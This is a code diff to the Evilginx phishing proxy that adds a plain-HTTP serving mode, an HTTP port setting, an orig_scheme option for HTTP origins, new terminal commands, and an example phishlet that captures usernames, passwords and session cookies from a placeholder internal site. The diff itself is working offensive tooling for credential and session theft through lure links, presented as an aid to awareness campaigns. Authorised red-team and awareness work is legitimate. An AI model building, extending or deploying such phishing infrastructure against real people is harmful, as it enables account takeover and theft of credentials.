diff --git a/.gitignore b/.gitignore index 359cdd2a4..2de336954 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,7 @@ build/ private/ /phishlets !/phishlets/example.yaml +!/phishlets/example-http.yaml +!/phishlets/README.md +/evilginx +.claude \ No newline at end of file diff --git a/core/config.go b/core/config.go index 7404a824a..f0a1286d0 100644 --- a/core/config.go +++ b/core/config.go @@ -41,6 +41,7 @@ type PhishletConfig struct { UnauthUrl string `mapstructure:"unauth_url" json:"unauth_url" yaml:"unauth_url"` Enabled bool `mapstructure:"enabled" json:"enabled" yaml:"enabled"` Visible bool `mapstructure:"visible" json:"visible" yaml:"visible"` + HttpMode bool `mapstructure:"http_mode" json:"http_mode" yaml:"http_mode"` // true = phishing server listens on HTTP (no TLS), false = HTTPS (default) } type ProxyConfig struct { @@ -72,6 +73,7 @@ type GeneralConfig struct { BindIpv4 string `mapstructure:"bind_ipv4" json:"bind_ipv4" yaml:"bind_ipv4"` UnauthUrl string `mapstructure:"unauth_url" json:"unauth_url" yaml:"unauth_url"` HttpsPort int `mapstructure:"https_port" json:"https_port" yaml:"https_port"` + HttpPort int `mapstructure:"http_port" json:"http_port" yaml:"http_port"` // Port for HTTP-only phishing (default: 80) DnsPort int `mapstructure:"dns_port" json:"dns_port" yaml:"dns_port"` Autocert bool `mapstructure:"autocert" json:"autocert" yaml:"autocert"` } @@ -170,6 +172,9 @@ func NewConfig(cfg_dir string, path string) (*Config, error) { if c.general.HttpsPort == 0 { c.SetHttpsPort(443) } + if c.general.HttpPort == 0 { + c.SetHttpPort(80) + } if c.general.DnsPort == 0 { c.SetDnsPort(53) } @@ -295,6 +300,13 @@ func (c *Config) SetHttpsPort(port int) { c.cfg.WriteConfig() } +func (c *Config) SetHttpPort(port int) { + c.general.HttpPort = port + c.cfg.Set(CFG_GENERAL, c.general) + log.Info("http port set to: %d", port) + c.cfg.WriteConfig() +} + func (c *Config) SetDnsPort(port int) { c.general.DnsPort = port c.cfg.Set(CFG_GENERAL, c.general) @@ -459,6 +471,47 @@ func (c *Config) IsSiteHidden(site string) bool { return !c.PhishletConfig(site).Visible } +func (c *Config) SetPhishletHttpMode(site string, enabled bool) error { + if _, err := c.GetPhishlet(site); err != nil { + log.Error("%v", err) + return err + } + c.PhishletConfig(site).HttpMode = enabled + if enabled { + log.Info("phishlet '%s' http_mode enabled (phishing server will use HTTP, no TLS)", site) + } else { + log.Info("phishlet '%s' http_mode disabled (phishing server will use HTTPS)", site) + } + c.SavePhishlets() + return nil +} + +func (c *Config) IsPhishletHttpModeEnabled(site string) bool { + return c.PhishletConfig(site).HttpMode +} + +// GetHttpModeEnabledSites returns list of phishlets that have http_mode enabled +func (c *Config) GetHttpModeEnabledSites() []string { + var sites []string + for k, o := range c.phishletConfig { + if o.Enabled && o.HttpMode { + sites = append(sites, k) + } + } + return sites +} + +// GetHttpsModeEnabledSites returns list of phishlets that have http_mode disabled (use HTTPS) +func (c *Config) GetHttpsModeEnabledSites() []string { + var sites []string + for k, o := range c.phishletConfig { + if o.Enabled && !o.HttpMode { + sites = append(sites, k) + } + } + return sites +} + func (c *Config) GetEnabledSites() []string { var sites []string for k, o := range c.phishletConfig { @@ -542,6 +595,77 @@ func (c *Config) GetActiveHostnames(site string) []string { return ret } +// GetActiveHttpsHostnames returns active hostnames for phishlets that are NOT in http_mode (use HTTPS) +func (c *Config) GetActiveHttpsHostnames(site string) []string { + var ret []string + sites := c.GetHttpsModeEnabledSites() + for _, _site := range sites { + if site == "" || _site == site { + pl, err := c.GetPhishlet(_site) + if err != nil { + continue + } + for _, host := range pl.GetPhishHosts(false) { + ret = append(ret, strings.ToLower(host)) + } + } + } + for _, l := range c.lures { + if site == "" || l.Phishlet == site { + if c.IsSiteEnabled(l.Phishlet) && !c.IsPhishletHttpModeEnabled(l.Phishlet) { + if l.Hostname != "" { + hostname := strings.ToLower(l.Hostname) + ret = append(ret, hostname) + } + } + } + } + return ret +} + +// GetActiveHttpHostnames returns active hostnames for phishlets that ARE in http_mode +func (c *Config) GetActiveHttpHostnames(site string) []string { + var ret []string + sites := c.GetHttpModeEnabledSites() + for _, _site := range sites { + if site == "" || _site == site { + pl, err := c.GetPhishlet(_site) + if err != nil { + continue + } + for _, host := range pl.GetPhishHosts(false) { + ret = append(ret, strings.ToLower(host)) + } + } + } + for _, l := range c.lures { + if site == "" || l.Phishlet == site { + if c.IsSiteEnabled(l.Phishlet) && c.IsPhishletHttpModeEnabled(l.Phishlet) { + if l.Hostname != "" { + hostname := strings.ToLower(l.Hostname) + ret = append(ret, hostname) + } + } + } + } + return ret +} + +// IsActiveHttpHostname checks if the hostname is active and in HTTP mode +func (c *Config) IsActiveHttpHostname(host string) bool { + host = strings.ToLower(host) + if host[len(host)-1:] == "." { + host = host[:len(host)-1] + } + httpHosts := c.GetActiveHttpHostnames("") + for _, h := range httpHosts { + if h == host { + return true + } + } + return false +} + func (c *Config) IsActiveHostname(host string) bool { host = strings.ToLower(host) if host[len(host)-1:] == "." { @@ -796,6 +920,10 @@ func (c *Config) GetHttpsPort() int { return c.general.HttpsPort } +func (c *Config) GetHttpPort() int { + return c.general.HttpPort +} + func (c *Config) GetDnsPort() int { return c.general.DnsPort } diff --git a/core/http_proxy.go b/core/http_proxy.go index 88a024709..38d3cf366 100644 --- a/core/http_proxy.go +++ b/core/http_proxy.go @@ -64,6 +64,7 @@ var MATCH_URL_REGEXP_WITHOUT_SCHEME = regexp.MustCompile(`\b(([A-Za-z0-9-]{1,63} type HttpProxy struct { Server *http.Server + HttpServer *http.Server // HTTP server for http_mode phishlets Proxy *goproxy.ProxyHttpServer crt_db *CertDb cfg *Config @@ -71,7 +72,9 @@ type HttpProxy struct { bl *Blacklist gophish *GoPhish sniListener net.Listener + httpListener net.Listener // HTTP listener for http_mode phishlets isRunning bool + isHttpRunning bool sessions map[string]*Session sids map[string]int cookieName string @@ -106,16 +109,18 @@ func SetJSONVariable(body []byte, key string, value interface{}) ([]byte, error) return newBody, nil } -func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error) { +func NewHttpProxy(hostname string, port int, http_port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error) { p := &HttpProxy{ Proxy: goproxy.NewProxyHttpServer(), Server: nil, + HttpServer: nil, crt_db: crt_db, cfg: cfg, db: db, bl: bl, gophish: NewGoPhish(), isRunning: false, + isHttpRunning: false, last_sid: 0, developer: developer, ip_whitelist: make(map[string]int64), @@ -123,6 +128,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da auto_filter_mimes: []string{"text/html", "application/json", "application/javascript", "text/javascript", "application/x-javascript"}, } + // HTTPS server (main server) p.Server = &http.Server{ Addr: fmt.Sprintf("%s:%d", hostname, port), Handler: p.Proxy, @@ -130,6 +136,14 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da WriteTimeout: httpWriteTimeout, } + // HTTP server for http_mode phishlets (no TLS) + p.HttpServer = &http.Server{ + Addr: fmt.Sprintf("%s:%d", hostname, http_port), + Handler: p.Proxy, + ReadTimeout: httpReadTimeout, + WriteTimeout: httpWriteTimeout, + } + if cfg.proxyConfig.Enabled { err := p.setProxy(cfg.proxyConfig.Enabled, cfg.proxyConfig.Type, cfg.proxyConfig.Address, cfg.proxyConfig.Port, cfg.proxyConfig.Username, cfg.proxyConfig.Password) if err != nil { @@ -147,7 +161,12 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da p.Proxy.Verbose = false p.Proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { - req.URL.Scheme = "https" + // Determine scheme based on whether this is an HTTP-mode hostname + if p.cfg.IsActiveHttpHostname(req.Host) { + req.URL.Scheme = "http" + } else { + req.URL.Scheme = "https" + } req.URL.Host = req.Host p.Proxy.ServeHTTP(w, req) }) @@ -202,6 +221,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } } + // Store original phish host for scheme detection + phish_host := req.Host + req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path o_host := req.Host lure_url := req_url @@ -211,7 +233,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da //req_path += "?" + req.URL.RawQuery } - pl := p.getPhishletByPhishHost(req.Host) + pl := p.getPhishletByPhishHost(phish_host) remote_addr := from_ip redir_re := regexp.MustCompile("^\\/s\\/([^\\/]*)") @@ -608,12 +630,25 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da req.Host = r_host } + // Set correct scheme for connecting to origin server based on phishlet config + if pl != nil { + orig_scheme := pl.GetOrigSchemeForHost(req.Host) + req.URL.Scheme = orig_scheme + } + + // Update URL host to match the replaced host for correct proxy destination + req.URL.Host = req.Host + // fix origin origin := req.Header.Get("Origin") if origin != "" { if o_url, err := url.Parse(origin); err == nil { if r_host, ok := p.replaceHostWithOriginal(o_url.Host); ok { o_url.Host = r_host + // Use correct scheme for origin + if pl != nil { + o_url.Scheme = pl.GetOrigSchemeForHost(r_host) + } req.Header.Set("Origin", o_url.String()) } } @@ -636,6 +671,10 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if o_url, err := url.Parse(referer); err == nil { if r_host, ok := p.replaceHostWithOriginal(o_url.Host); ok { o_url.Host = r_host + // Use correct scheme for referer + if pl != nil { + o_url.Scheme = pl.GetOrigSchemeForHost(r_host) + } req.Header.Set("Referer", o_url.String()) } } @@ -1635,24 +1674,43 @@ func (p *HttpProxy) httpsWorker() { return } - hostname, _ = p.replaceHostWithOriginal(hostname) + // Get origin scheme before replacing hostname + phish_hostname := hostname + orig_hostname, _ := p.replaceHostWithOriginal(hostname) + + // Determine origin scheme and port based on phishlet config + orig_scheme, orig_port := p.getOriginSchemeAndPort(phish_hostname, orig_hostname) req := &http.Request{ Method: "CONNECT", URL: &url.URL{ - Opaque: hostname, - Host: net.JoinHostPort(hostname, "443"), + Opaque: orig_hostname, + Host: net.JoinHostPort(orig_hostname, orig_port), }, - Host: hostname, + Host: orig_hostname, Header: make(http.Header), RemoteAddr: c.RemoteAddr().String(), } + // Store origin scheme in header for later use + req.Header.Set("X-Evilginx-Origin-Scheme", orig_scheme) resp := dumbResponseWriter{tlsConn} p.Proxy.ServeHTTP(resp, req) }(c) } } +// getOriginSchemeAndPort returns the scheme (http/https) and port for connecting to origin server +func (p *HttpProxy) getOriginSchemeAndPort(phish_hostname string, orig_hostname string) (string, string) { + pl := p.getPhishletByPhishHost(phish_hostname) + if pl != nil { + scheme := pl.GetOrigSchemeForHost(orig_hostname) + if scheme == "http" { + return "http", "80" + } + } + return "https", "443" +} + func (p *HttpProxy) getPhishletByOrigHost(hostname string) *Phishlet { for site, pl := range p.cfg.phishlets { if p.cfg.IsSiteEnabled(site) { @@ -1860,9 +1918,30 @@ func (p *HttpProxy) injectOgHeaders(l *Lure, body []byte) []byte { func (p *HttpProxy) Start() error { go p.httpsWorker() + go p.httpWorker() return nil } +// httpWorker handles plain HTTP connections for phishlets with http_mode enabled +func (p *HttpProxy) httpWorker() { + var err error + + p.httpListener, err = net.Listen("tcp", p.HttpServer.Addr) + if err != nil { + log.Error("http: failed to start HTTP listener on %s: %v", p.HttpServer.Addr, err) + return + } + + log.Info("http: listening on %s for HTTP-mode phishlets", p.HttpServer.Addr) + p.isHttpRunning = true + + // Use standard HTTP server to handle connections properly + err = p.HttpServer.Serve(p.httpListener) + if err != nil && err != http.ErrServerClosed { + log.Error("http: server error: %v", err) + } +} + func (p *HttpProxy) whitelistIP(ip_addr string, sid string, pl_name string) { p.ip_mtx.Lock() defer p.ip_mtx.Unlock() diff --git a/core/phishlet.go b/core/phishlet.go index 7d20c4e0b..c63af6949 100644 --- a/core/phishlet.go +++ b/core/phishlet.go @@ -19,6 +19,7 @@ type ProxyHost struct { handle_session bool is_landing bool auto_filter bool + orig_scheme string // "http" or "https" - scheme for connecting to origin server (default: "https") } type SubFilter struct { @@ -131,6 +132,7 @@ type Phishlet struct { intercept []Intercept customParams map[string]string isTemplate bool + defaultHttpMode bool // Default HTTP mode from phishlet YAML } type ConfigParam struct { @@ -146,6 +148,7 @@ type ConfigProxyHost struct { Session bool `mapstructure:"session"` IsLanding bool `mapstructure:"is_landing"` AutoFilter *bool `mapstructure:"auto_filter"` + OrigScheme *string `mapstructure:"orig_scheme"` // "http" or "https" - scheme for connecting to origin server (default: "https") } type ConfigSubFilter struct { @@ -221,6 +224,7 @@ type ConfigIntercept struct { type ConfigPhishlet struct { Name string `mapstructure:"name"` RedirectUrl string `mapstructure:"redirect_url"` + HttpMode *bool `mapstructure:"http_mode"` // Enable HTTP mode by default when phishlet is enabled Params *[]ConfigParam `mapstructure:"params"` ProxyHosts *[]ConfigProxyHost `mapstructure:"proxy_hosts"` SubFilters *[]ConfigSubFilter `mapstructure:"sub_filters"` @@ -407,7 +411,11 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri if ph.AutoFilter != nil { auto_filter = *ph.AutoFilter } - p.addProxyHost(p.paramVal(*ph.PhishSub), p.paramVal(*ph.OrigSub), p.paramVal(*ph.Domain), ph.Session, ph.IsLanding, auto_filter) + orig_scheme := "https" + if ph.OrigScheme != nil { + orig_scheme = *ph.OrigScheme + } + p.addProxyHost(p.paramVal(*ph.PhishSub), p.paramVal(*ph.OrigSub), p.paramVal(*ph.Domain), ph.Session, ph.IsLanding, auto_filter, orig_scheme) } if len(p.proxyHosts) == 0 { return fmt.Errorf("proxy_hosts: list cannot be empty") @@ -758,6 +766,12 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri p.landing_path[n] = p.paramVal(p.landing_path[n]) } } + + // Set default HTTP mode from phishlet YAML + if fp.HttpMode != nil && *fp.HttpMode { + p.defaultHttpMode = true + } + return nil } @@ -779,6 +793,11 @@ func (p *Phishlet) GetPhishHosts(use_wildcards bool) []string { func (p *Phishlet) GetLureUrl(path string) (string, error) { var ret string host := p.cfg.GetBaseDomain() + // Get the scheme from phishlet config (uses http_mode setting) + scheme := "https" + if p.cfg.IsPhishletHttpModeEnabled(p.Name) { + scheme = "http" + } for _, h := range p.proxyHosts { if h.is_landing { phishDomain, ok := p.cfg.GetSiteDomain(p.Name) @@ -787,12 +806,42 @@ func (p *Phishlet) GetLureUrl(path string) (string, error) { } } } - ret = "https://" + host + path + ret = scheme + "://" + host + path return ret, nil } +// GetOrigSchemeForHost returns the origin scheme (http/https) for connecting to a given original hostname +func (p *Phishlet) GetOrigSchemeForHost(hostname string) string { + hostname = strings.ToLower(hostname) + for _, ph := range p.proxyHosts { + host := combineHost(ph.orig_subdomain, ph.domain) + if strings.ToLower(host) == hostname { + return ph.orig_scheme + } + } + // Use http_mode setting as fallback instead of always defaulting to https + if p.cfg.IsPhishletHttpModeEnabled(p.Name) { + return "http" + } + return "https" +} + func (p *Phishlet) GetLoginUrl() string { - return "https://" + p.login.domain + p.login.path + // Find the scheme for the login domain from proxy hosts + scheme := "https" + for _, ph := range p.proxyHosts { + host := combineHost(ph.orig_subdomain, ph.domain) + if strings.ToLower(host) == strings.ToLower(p.login.domain) { + scheme = ph.orig_scheme + break + } + } + return scheme + "://" + p.login.domain + p.login.path +} + +// HasDefaultHttpMode returns true if the phishlet YAML specifies http_mode: true +func (p *Phishlet) HasDefaultHttpMode() bool { + return p.defaultHttpMode } func (p *Phishlet) GetLandingPhishHost() string { @@ -889,15 +938,22 @@ func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[str return ret } -func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool, auto_filter bool) { +func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool, auto_filter bool, orig_scheme string) { phish_subdomain = strings.ToLower(phish_subdomain) orig_subdomain = strings.ToLower(orig_subdomain) domain = strings.ToLower(domain) + if orig_scheme == "" { + orig_scheme = "https" // default to https + } + orig_scheme = strings.ToLower(orig_scheme) + if orig_scheme != "http" && orig_scheme != "https" { + orig_scheme = "https" + } if !p.domainExists(domain) { p.domains = append(p.domains, domain) } - p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing, auto_filter: auto_filter}) + p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing, auto_filter: auto_filter, orig_scheme: orig_scheme}) } func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool, with_params []string) { diff --git a/core/terminal.go b/core/terminal.go index 7460d2bab..6c18dc664 100644 --- a/core/terminal.go +++ b/core/terminal.go @@ -192,8 +192,8 @@ func (t *Terminal) handleConfig(args []string) error { gophishInsecure = "true" } - keys := []string{"domain", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "unauth_url", "autocert", "gophish admin_url", "gophish api_key", "gophish insecure"} - vals := []string{t.cfg.general.Domain, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff, t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), gophishInsecure} + keys := []string{"domain", "external_ipv4", "bind_ipv4", "https_port", "http_port", "dns_port", "unauth_url", "autocert", "gophish admin_url", "gophish api_key", "gophish insecure"} + vals := []string{t.cfg.general.Domain, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.HttpPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff, t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), gophishInsecure} log.Printf("\n%s\n", AsRows(keys, vals)) return nil } else if pn == 2 { @@ -206,6 +206,14 @@ func (t *Terminal) handleConfig(args []string) error { case "ipv4": t.cfg.SetServerExternalIP(args[1]) return nil + case "http_port": + port, err := strconv.Atoi(args[1]) + if err != nil { + return fmt.Errorf("invalid port number: %s", args[1]) + } + t.cfg.SetHttpPort(port) + log.Warning("you need to restart evilginx for the changes to take effect") + return nil case "unauth_url": if len(args[1]) > 0 { _, err := url.ParseRequestURI(args[1]) @@ -629,6 +637,10 @@ func (t *Terminal) handlePhishlets(args []string) error { if pl.isTemplate { return fmt.Errorf("phishlet '%s' is a template - you have to 'create' child phishlet from it, with predefined parameters, before you can enable it.", args[1]) } + // Apply default http_mode from phishlet YAML if specified + if pl.HasDefaultHttpMode() && !t.cfg.IsPhishletHttpModeEnabled(args[1]) { + t.cfg.SetPhishletHttpMode(args[1], true) + } err = t.cfg.SetSiteEnabled(args[1]) if err != nil { t.cfg.SetSiteDisabled(args[1]) @@ -694,6 +706,27 @@ func (t *Terminal) handlePhishlets(args []string) error { } t.cfg.SetSiteUnauthUrl(args[1], args[2]) return nil + case "http_mode": + _, err := t.cfg.GetPhishlet(args[1]) + if err != nil { + return err + } + switch args[2] { + case "on": + err := t.cfg.SetPhishletHttpMode(args[1], true) + if err != nil { + return err + } + return nil + case "off": + err := t.cfg.SetPhishletHttpMode(args[1], false) + if err != nil { + return err + } + return nil + default: + return fmt.Errorf("http_mode value must be 'on' or 'off'") + } } } return fmt.Errorf("invalid syntax: %s", args) @@ -755,7 +788,12 @@ func (t *Terminal) handleLures(args []string) error { var base_url string if l.Hostname != "" { - base_url = "https://" + l.Hostname + l.Path + // Use correct scheme based on http_mode setting + scheme := "https" + if t.cfg.IsPhishletHttpModeEnabled(l.Phishlet) { + scheme = "http" + } + base_url = scheme + "://" + l.Hostname + l.Path } else { purl, err := pl.GetLureUrl(l.Path) if err != nil { @@ -1161,13 +1199,15 @@ func (t *Terminal) monitorLurePause() { func (t *Terminal) createHelp() { h, _ := NewHelp() h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP, - readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ipv4", readline.PcItem("external"), readline.PcItem("bind")), readline.PcItem("unauth_url"), readline.PcItem("autocert", readline.PcItem("on"), readline.PcItem("off")), + readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ipv4", readline.PcItem("external"), readline.PcItem("bind")), + readline.PcItem("http_port"), readline.PcItem("unauth_url"), readline.PcItem("autocert", readline.PcItem("on"), readline.PcItem("off")), readline.PcItem("gophish", readline.PcItem("admin_url"), readline.PcItem("api_key"), readline.PcItem("insecure", readline.PcItem("true"), readline.PcItem("false")), readline.PcItem("test")))) h.AddSubCommand("config", nil, "", "show all configuration variables") h.AddSubCommand("config", []string{"domain"}, "domain ", "set base domain for all phishlets (e.g. evilsite.com)") h.AddSubCommand("config", []string{"ipv4"}, "ipv4 ", "set ipv4 external address of the current server") h.AddSubCommand("config", []string{"ipv4", "external"}, "ipv4 external ", "set ipv4 external address of the current server") h.AddSubCommand("config", []string{"ipv4", "bind"}, "ipv4 bind ", "set ipv4 bind address of the current server") + h.AddSubCommand("config", []string{"http_port"}, "http_port ", "set the HTTP port for http_mode phishlets (default: 80)") h.AddSubCommand("config", []string{"unauth_url"}, "unauth_url ", "change the url where all unauthorized requests will be redirected to") h.AddSubCommand("config", []string{"autocert"}, "autocert ", "enable or disable the automated certificate retrieval from letsencrypt") h.AddSubCommand("config", []string{"gophish", "admin_url"}, "gophish admin_url ", "set up the admin url of a gophish instance to communicate with (e.g. https://gophish.domain.com:7777)") @@ -1191,13 +1231,15 @@ func (t *Terminal) createHelp() { readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("disable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("unhide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-hosts", readline.PcItemDynamic(t.phishletPrefixCompleter)), - readline.PcItem("unauth_url", readline.PcItemDynamic(t.phishletPrefixCompleter)))) + readline.PcItem("unauth_url", readline.PcItemDynamic(t.phishletPrefixCompleter)), + readline.PcItem("http_mode", readline.PcItemDynamic(t.phishletPrefixCompleter, readline.PcItem("on"), readline.PcItem("off"))))) h.AddSubCommand("phishlets", nil, "", "show status of all available phishlets") h.AddSubCommand("phishlets", nil, "", "show details of a specific phishlets") h.AddSubCommand("phishlets", []string{"create"}, "create ", "create child phishlet from a template phishlet with custom parameters") h.AddSubCommand("phishlets", []string{"delete"}, "delete ", "delete child phishlet") h.AddSubCommand("phishlets", []string{"hostname"}, "hostname ", "set hostname for given phishlet (e.g. this.is.not.a.phishing.site.evilsite.com)") h.AddSubCommand("phishlets", []string{"unauth_url"}, "unauth_url ", "override global unauth_url just for this phishlet") + h.AddSubCommand("phishlets", []string{"http_mode"}, "http_mode ", "enable HTTP mode for phishing server (no TLS required) - use for awareness campaigns over HTTP") h.AddSubCommand("phishlets", []string{"enable"}, "enable ", "enables phishlet and requests ssl/tls certificate if needed") h.AddSubCommand("phishlets", []string{"disable"}, "disable ", "disables phishlet") h.AddSubCommand("phishlets", []string{"hide"}, "hide ", "hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phishing links)") @@ -1325,7 +1367,7 @@ func (t *Terminal) checkStatus() { func (t *Terminal) manageCertificates(verbose bool) { if !t.p.developer { if t.cfg.IsAutocertEnabled() { - hosts := t.p.cfg.GetActiveHostnames("") + hosts := t.p.cfg.GetActiveHttpsHostnames("") //wc_host := t.p.cfg.GetWildcardHostname() //hosts := []string{wc_host} //hosts = append(hosts, t.p.cfg.GetActiveHostnames("")...) @@ -1361,8 +1403,9 @@ func (t *Terminal) sprintPhishletStatus(site string) string { yellow := color.New(color.FgYellow) higray := color.New(color.FgWhite) logray := color.New(color.FgHiBlack) + orange := color.New(color.FgYellow) // Used for HTTP mode indicator n := 0 - cols := []string{"phishlet", "status", "visibility", "hostname", "unauth_url"} + cols := []string{"phishlet", "status", "visibility", "http_mode", "hostname", "unauth_url"} var rows [][]string var pnames []string @@ -1389,6 +1432,10 @@ func (t *Terminal) sprintPhishletStatus(site string) string { if t.cfg.IsSiteHidden(s) { hidden_status = logray.Sprint("hidden") } + http_mode_status := logray.Sprint("off") + if t.cfg.IsPhishletHttpModeEnabled(s) { + http_mode_status = orange.Sprint("on") + } domain, _ := t.cfg.GetSiteDomain(s) unauth_url, _ := t.cfg.GetSiteUnauthUrl(s) n += 1 @@ -1405,11 +1452,11 @@ func (t *Terminal) sprintPhishletStatus(site string) string { } } - keys := []string{"phishlet", "parent", "status", "visibility", "hostname", "unauth_url", "params"} - vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logray.Sprint(param_names)} + keys := []string{"phishlet", "parent", "status", "visibility", "http_mode", "hostname", "unauth_url", "params"} + vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, http_mode_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logray.Sprint(param_names)} return AsRows(keys, vals) } else if site == "" { - rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url)}) + rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, http_mode_status, cyan.Sprint(domain), logreen.Sprint(unauth_url)}) } } } diff --git a/main.go b/main.go index 700041b92..11fa8f4be 100644 --- a/main.go +++ b/main.go @@ -179,7 +179,7 @@ func main() { return } - hp, _ := core.NewHttpProxy(cfg.GetServerBindIP(), cfg.GetHttpsPort(), cfg, crt_db, db, bl, *developer_mode) + hp, _ := core.NewHttpProxy(cfg.GetServerBindIP(), cfg.GetHttpsPort(), cfg.GetHttpPort(), cfg, crt_db, db, bl, *developer_mode) hp.Start() t, err := core.NewTerminal(hp, cfg, crt_db, db, *developer_mode) diff --git a/phishlets/example-http.yaml b/phishlets/example-http.yaml new file mode 100644 index 000000000..ec8debd0c --- /dev/null +++ b/phishlets/example-http.yaml @@ -0,0 +1,95 @@ +# ============================================================================= +# HTTP Support Example Phishlet +# ============================================================================= +# +# This phishlet demonstrates HTTP support for security awareness campaigns +# where TLS certificates are not required or available. +# +# FEATURES: +# +# 1. HTTP Phishing Server (http_mode) +# - Runs phishing server on plain HTTP (no TLS required) +# - Can be set in phishlet YAML: http_mode: true +# - Or via CLI: phishlets http_mode on +# - Server listens on config http_port (default: 80) +# +# 2. HTTP Origin Targets (orig_scheme) +# - Proxy to HTTP backend servers instead of HTTPS +# - Set in proxy_hosts: orig_scheme: 'http' +# +# USAGE EXAMPLES: +# +# Scenario A: HTTP -> HTTP (internal awareness campaign) +# ------------------------------------------------------- +# With http_mode: true in phishlet YAML (like this one): +# : phishlets hostname example-http phish.internal.lan +# : phishlets enable example-http +# : lures create example-http +# : lures get-url 0 +# Result: http://phish.internal.lan/... +# +# Or manually via CLI: +# : phishlets hostname example-http phish.internal.lan +# : phishlets http_mode example-http on +# : phishlets enable example-http +# +# Scenario B: HTTPS -> HTTP (proxy to HTTP backend) +# -------------------------------------------------- +# : phishlets hostname example-http phish.company.com +# : phishlets enable example-http +# : lures create example-http +# : lures get-url 0 +# Result: https://phish.company.com/... -> proxies to http://target +# +# CONFIGURATION: +# +# Phishlet YAML options: +# http_mode: true Enable HTTP-only mode by default +# proxy_hosts.orig_scheme: 'http' Connect to origin over HTTP +# +# CLI commands: +# config http_port Set HTTP listener port (default: 80) +# phishlets http_mode on Enable HTTP-only mode (no TLS) +# phishlets http_mode off Use HTTPS mode (default) +# +# ============================================================================= + +min_ver: '3.0.0' + +# Enable HTTP mode by default - phishing server will listen on HTTP (no TLS) +http_mode: true + +proxy_hosts: + - phish_sub: 'app' + orig_sub: 'app' + domain: 'internal-target.local' + session: true + is_landing: true + auto_filter: true + orig_scheme: 'http' # Connect to origin over HTTP (default: 'https') + +sub_filters: + - triggers_on: 'internal-target.local' + orig_sub: 'app' + domain: 'internal-target.local' + search: 'internal-target.local' + replace: '{hostname}' + mimes: ['text/html', 'application/javascript'] + +auth_tokens: + - domain: '.app.internal-target.local' + keys: ['session', 'auth'] + +credentials: + username: + key: 'username' + search: '(.*)' + type: 'post' + password: + key: 'password' + search: '(.*)' + type: 'post' + +login: + domain: 'app.internal-target.local' + path: '/login' diff --git a/phishlets/example.yaml b/phishlets/example.yaml index beaf3e784..5594a2219 100644 --- a/phishlets/example.yaml +++ b/phishlets/example.yaml @@ -1,5 +1,15 @@ +# Example phishlet for evilginx2 +# See example-http.yaml for HTTP support features documentation min_ver: '3.0.0' proxy_hosts: + # proxy_hosts configuration options: + # phish_sub - Subdomain for phishing site + # orig_sub - Original subdomain on target + # domain - Target domain + # session - Handle session cookies + # is_landing - Landing page for lure + # auto_filter - Auto-filter content + # orig_scheme - 'http' or 'https' (default: 'https') - scheme for connecting to origin - {phish_sub: 'academy', orig_sub: 'academy', domain: 'breakdev.org', session: true, is_landing: true, auto_filter: true} sub_filters: - {triggers_on: 'breakdev.org', orig_sub: 'academy', domain: 'breakdev.org', search: 'something_to_look_for', replace: 'replace_it_with_this', mimes: ['text/html']}